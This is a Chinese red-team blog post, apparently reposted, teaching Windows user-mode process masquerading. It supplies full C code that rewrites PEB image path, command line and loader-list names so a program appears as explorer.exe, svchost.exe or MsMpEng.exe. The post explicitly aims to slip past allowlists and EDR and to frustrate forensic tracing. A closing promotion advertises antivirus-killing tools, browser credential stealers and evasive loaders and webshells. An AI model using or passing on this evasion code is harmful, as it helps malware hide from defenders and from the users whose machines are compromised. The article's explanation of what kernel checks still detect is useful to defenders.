《Windows红队免杀进阶:R3进程伪装,从原理到代码实战》

admin 2026-03-26 16:26:51 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细解析Windows用户态(R3)进程伪装技术,通过修改PEB结构中的镜像路径、命令行参数及LDR模块链表,实现进程在任务管理器等工具中伪装成系统进程。核心代码演示了如何伪装为explorer.exe,并明确该技术仅能欺骗用户态检测工具,无法绕过内核级查询。文章提供了实战代码与验证方法,适用于红队免杀、权限维持等场景。 综合评分: 88 文章分类: 红队,免杀,内网渗透,逆向分析,Windows安全


cover_image

《Windows红队免杀进阶:R3进程伪装,从原理到代码实战》

原创

星夜AI安全 星夜AI安全

星夜AI安全

2026年3月22日 17:21 北京

#

今天带来一节硬核干货:Windows用户态(R3)进程伪装

这是红队免杀、权限维持、对抗EDR的核心技能之一。 学会它,你的程序可以在任务管理器、Process Explorer里“摇身一变”,伪装成 explorer.exe、svchost.exe 等系统进程。

本文从原理、结构、代码、检测、实战全链路讲透,建议收藏反复看。

一、先搞懂:什么是R3进程伪装?

简单说: 在Ring3用户态下,修改进程PEB结构,欺骗用户态工具显示假的进程名与路径。

作用:

  • • 绕过基于进程名的白名单检测
  • • 伪装成系统进程降低用户警惕
  • • 混淆安全分析人员溯源

它不是万能的,但在对抗用户态检测时,效果立竿见影。

二、核心前置:R0/R3、PEB、TEB 到底是什么?

先把基础概念捋清楚,代码才不懵。

1. 权限层级

  • • R0(Ring0):内核态,操作系统内核,最高权限
  • • R3(Ring3):用户态,普通应用程序运行环境,我们的主战场

2. 关键结构体

  • • TEB(Thread Environment Block):线程环境块,通过 fs:[0x30](32位) / gs:[0x60](64位) 找到 PEB
  • • PEB(Process Environment Block):进程环境块,保存进程路径、命令行、加载模块等信息
  • • Ldr:加载器数据,管理已加载模块的三条链表

任务管理器显示的“进程路径/命令行”,本质就是读PEB里的字段。 改了PEB,它就被骗了。

三、PEB结构:我们要改哪几个字段?

进程伪装的核心,就是修改这两个结构:

1. RTL_USER_PROCESS_PARAMETERS

里面两个关键成员:

  • • ImagePathName:进程镜像路径
  • • CommandLine:命令行参数

2. LDR模块链表

三条链表:

  • • InLoadOrderModuleList
  • • InMemoryOrderModuleList
  • • InInitializationOrderModuleList

完美伪装,需要同时修改主模块在链表中的名称。

四、实战代码:可直接编译运行(C/C++)

下面是带详细注释、兼容x86/x64的完整实现,伪装成 explorer.exe。

(代码块可直接复制到VS/MinGW编译)

#include&nbsp;<windows.h>
#include&nbsp;<winternl.h>
#include&nbsp;<stdio.h>

typedef&nbsp;struct&nbsp;_MY_PEB_LDR_DATA&nbsp;{
&nbsp; &nbsp; ULONG Length;
&nbsp; &nbsp; BOOLEAN Initialized;
&nbsp; &nbsp; HANDLE SsHandle;
&nbsp; &nbsp; LIST_ENTRY InLoadOrderModuleList;
&nbsp; &nbsp; LIST_ENTRY InMemoryOrderModuleList;
&nbsp; &nbsp; LIST_ENTRY InInitializationOrderModuleList;
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;

typedef&nbsp;struct&nbsp;_MY_LDR_DATA_TABLE_ENTRY&nbsp;{
&nbsp; &nbsp; LIST_ENTRY InLoadOrderLinks;
&nbsp; &nbsp; LIST_ENTRY InMemoryOrderLinks;
&nbsp; &nbsp; LIST_ENTRY InInitializationOrderLinks;
&nbsp; &nbsp; PVOID DllBase;
&nbsp; &nbsp; PVOID EntryPoint;
&nbsp; &nbsp; ULONG SizeOfImage;
&nbsp; &nbsp; UNICODE_STRING FullDllName;
&nbsp; &nbsp; UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;

PPEB&nbsp;GetPEB()&nbsp;{
#ifdef&nbsp;_WIN64
&nbsp; &nbsp; return&nbsp;(PPEB)__readgsqword(0x60);
#else
&nbsp; &nbsp; return&nbsp;(PPEB)__readfsdword(0x30);
#endif
}

void&nbsp;SetUnicodeString(PUNICODE_STRING dest, LPCWSTR src)&nbsp;{
&nbsp; &nbsp; DWORD len = (DWORD)wcslen(src) *&nbsp;sizeof(WCHAR);
&nbsp; &nbsp; dest->Length = (USHORT)len;
&nbsp; &nbsp; dest->MaximumLength = (USHORT)(len +&nbsp;sizeof(WCHAR));
&nbsp; &nbsp; memcpy(dest->Buffer, src, len +&nbsp;sizeof(WCHAR));
}

BOOL&nbsp;MasqueradeProcess(LPCWSTR szFakePath, LPCWSTR szFakeCommandLine)&nbsp;{
&nbsp; &nbsp; PPEB pPeb =&nbsp;GetPEB();
&nbsp; &nbsp; if&nbsp;(!pPeb)&nbsp;return&nbsp;FALSE;

&nbsp; &nbsp; PRTL_USER_PROCESS_PARAMETERS pParams = pPeb->ProcessParameters;
&nbsp; &nbsp; if&nbsp;(!pParams)&nbsp;return&nbsp;FALSE;

&nbsp; &nbsp; if&nbsp;(szFakePath)
&nbsp; &nbsp; &nbsp; &nbsp; SetUnicodeString(&pParams->ImagePathName, szFakePath);
&nbsp; &nbsp; if&nbsp;(szFakeCommandLine)
&nbsp; &nbsp; &nbsp; &nbsp; SetUnicodeString(&pParams->CommandLine, szFakeCommandLine);

&nbsp; &nbsp; PMY_PEB_LDR_DATA pLdr = (PMY_PEB_LDR_DATA)pPeb->Ldr;
&nbsp; &nbsp; PLIST_ENTRY pListEntry = pLdr->InLoadOrderModuleList.Flink;
&nbsp; &nbsp; PMY_LDR_DATA_TABLE_ENTRY pEntry =&nbsp;CONTAINING_RECORD(
&nbsp; &nbsp; &nbsp; &nbsp; pListEntry, MY_LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

&nbsp; &nbsp; if&nbsp;(szFakePath) {
&nbsp; &nbsp; &nbsp; &nbsp; SetUnicodeString(&pEntry->FullDllName, szFakePath);
&nbsp; &nbsp; &nbsp; &nbsp; LPCWSTR pFileName =&nbsp;wcsrchr(szFakePath,&nbsp;L'\\');
&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(pFileName)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SetUnicodeString(&pEntry->BaseDllName, pFileName +&nbsp;1);
&nbsp; &nbsp; }
&nbsp; &nbsp; return&nbsp;TRUE;
}

int&nbsp;main()&nbsp;{
&nbsp; &nbsp; printf("PID: %lu\n",&nbsp;GetCurrentProcessId());
&nbsp; &nbsp; MasqueradeProcess(
&nbsp; &nbsp; &nbsp; &nbsp; L"C:\\Windows\\explorer.exe",
&nbsp; &nbsp; &nbsp; &nbsp; L"C:\\Windows\\explorer.exe"
&nbsp; &nbsp; );
&nbsp; &nbsp; getchar();
&nbsp; &nbsp; return&nbsp;0;
}

五、怎么验证伪装成功?

用两款神器即可:

1. Process Explorer

  • • 找到你的PID
  • • 看 Image Path / Command Line
  • • 已经变成 explorer.exe

2. WinDbg 查看PEB

!peb
du poi(poi(@$peb+0x20)+0x60)

能直接看到你伪造的路径。

六、关键认知:R3伪装能骗过谁,骗不过谁?

这是很多新手踩坑的地方,一定要记牢:

✅ 可绕过(用户态读取PEB)

  • • 任务管理器
  • • Process Explorer / Process Hacker
  • • GetModuleFileName
  • • GetCommandLine

❌ 无法绕过(内核态查询)

  • • QueryFullProcessImageName
  • • ZwQueryInformationProcess
  • • EDR内核回调

结论: R3进程伪装是欺骗层工具,不是对抗内核检测的银弹。 想彻底绕过内核级检测,需要配合驱动(R0)或其他高级手法。

七、实战拓展:你可以这样玩

  1. 1. 伪装成系统进程
MasqueradeProcess(
&nbsp; &nbsp; L"C:\\Windows\\System32\\svchost.exe",
&nbsp; &nbsp; L"svchost.exe -k netsvcs"
);
  1. 2. 伪装成安全软件
L"C:\\Program Files\\Windows Defender\\MsMpEng.exe"

关注微信公众号后台回复入群 即可加入星夜AI安全交流群

圈子介绍

现任职于某头部网络安全企业攻防研究部,核心红队成员。2021-2023年间累计参与40+场国家级、行业级攻防实战演练,精通漏洞挖掘、红蓝对抗策略制定、恶意代码分析、内网横向渗透及应急响应等技术领域。在多次大型演练中,主导突破多个高防护目标网络,曾获“最佳攻击手”“突出贡献个人”等荣誉。

已产出的安全工具及成果包括:

  • • 多款主流杀软通杀工具(兼容卡巴斯基、诺顿、瑞星、360等终端防护,无感知运行,突破多引擎联合检测)
  • • XXByPassBehinder v1.1 冰蝎免杀生成器(定制化冰蝎免杀工具,绕过主流终端防护与EDR动态检测,支持自定义载荷)
  • • 哥斯拉二开免杀定制版(二开优化,深度免杀,突破终端防护与EDR检测,适配多场景植入)
  • • NeoCS4.9终极版(高级免杀加载工具,强化载荷注入与进程劫持,适配多系统版本,无兼容问题)
  • • WinDump_免杀版(浏览器凭证窃取工具,支持Chrome/Edge/Firefox等主流浏览器,一键提取敏感数据,免杀过防护)_
  • • _DumpBrowser_V1_免杀版(浏览器凭证窃取工具,专攻浏览器密码、Cookie、历史记录提取,免杀性能拉满)
  • • fscan二开版(二开优化内网扫描工具,增强指纹精度、弱口令爆破与结果标准化输出,适配复杂内网)
  • • RingQ加载器二开版(二开优化免杀加载器,支持Shellcode内存执行,绕过各类终端防护与EDR检测)
  • • 多款免杀Webshell集合(覆盖PHP/JSP/ASPX,过主流WAF与终端防护,适配不同Web场景)
  • • 免杀360专属加载器(支持Shellcode内存执行,针对性绕过360全系防护检测,无感知运行)
  • • 一键Kill 火绒 defender 工具 HDKiller(包含源码)
  • • win11 一键kill 360工具 InjectKill(包含源码)
  • • win11 一键kill defender工具win11_df-killer(包含源码)
  • • 免杀火绒6.0内存防护加载器BypassMemLoader
  • • 单文件bypass 360免杀加载器

后续将不断更新到内部圈子中 欢迎加入圈子

生命的最终奥义,不过就是活得自在罢了

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:星夜AI安全 星夜AI安全 星夜AI安全《《Windows红队免杀进阶:R3进程伪装,从原理到代码实战》》

评论:0   参与:  0